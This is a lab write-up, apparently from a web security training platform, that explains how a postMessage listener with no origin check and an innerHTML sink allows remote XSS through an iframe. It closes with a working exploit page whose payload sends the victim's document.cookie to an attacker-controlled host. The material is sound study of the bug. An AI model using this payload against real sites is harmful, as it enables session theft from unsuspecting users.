Skip to main content

from-self-xss-to-real-xss

From self-XSS to real XSS

What’s new here?

This challenge combines two bugs:

  1. Insecure postMessage listener
    • No event.origin validation
  2. DOM XSS sink
    • Message content is injected into the DOM unsafely

Result: Remote XSS via iframe


Mental model

Normally
  • Self-XSS requires user interaction
  • Not exploitable remotely
Here
  • postMessage lets attacker send data into victim’s DOM
  • postMessage removes user interaction
  • iframe makes it cross-origin

Self-XSS → Stored/Reflected XSS equivalent

Vulnerable pattern

Vulnerable listener
window.addEventListener("message", function (event) {
document.getElementById("output").innerHTML = event.data;
});
  • No origin check
  • Uses innerHTML
  • Attacker controls event.data
Attack Flow
Victim logged in

Victim visits attacker page

Attacker loads vulnerable site in iframe

Attacker sends XSS payload via postMessage

Payload executes in victim origin

Cookies / secrets leaked

The Attack

To exploit this issue, you will need to create a malicious HTML page that will open the vulnerable page in an iframe and postMessage to the iframe.

<iframe src="http://ptl-dd5dd9f3643d-ad3e978ff5fb.libcurl.me/" id=f width=100% height=600></iframe>
<script>
setTimeout(()=>{
f.contentWindow.postMessage(`
<img src=x onerror="location='http://public-ip/?c='+encodeURIComponent(document.cookie)">
`,"*");
}, 3000);
</script>

This will send the XSS payload to the event listener, which gets injected to the page using innerHTML which executes the xss payload and we can steal the cookie.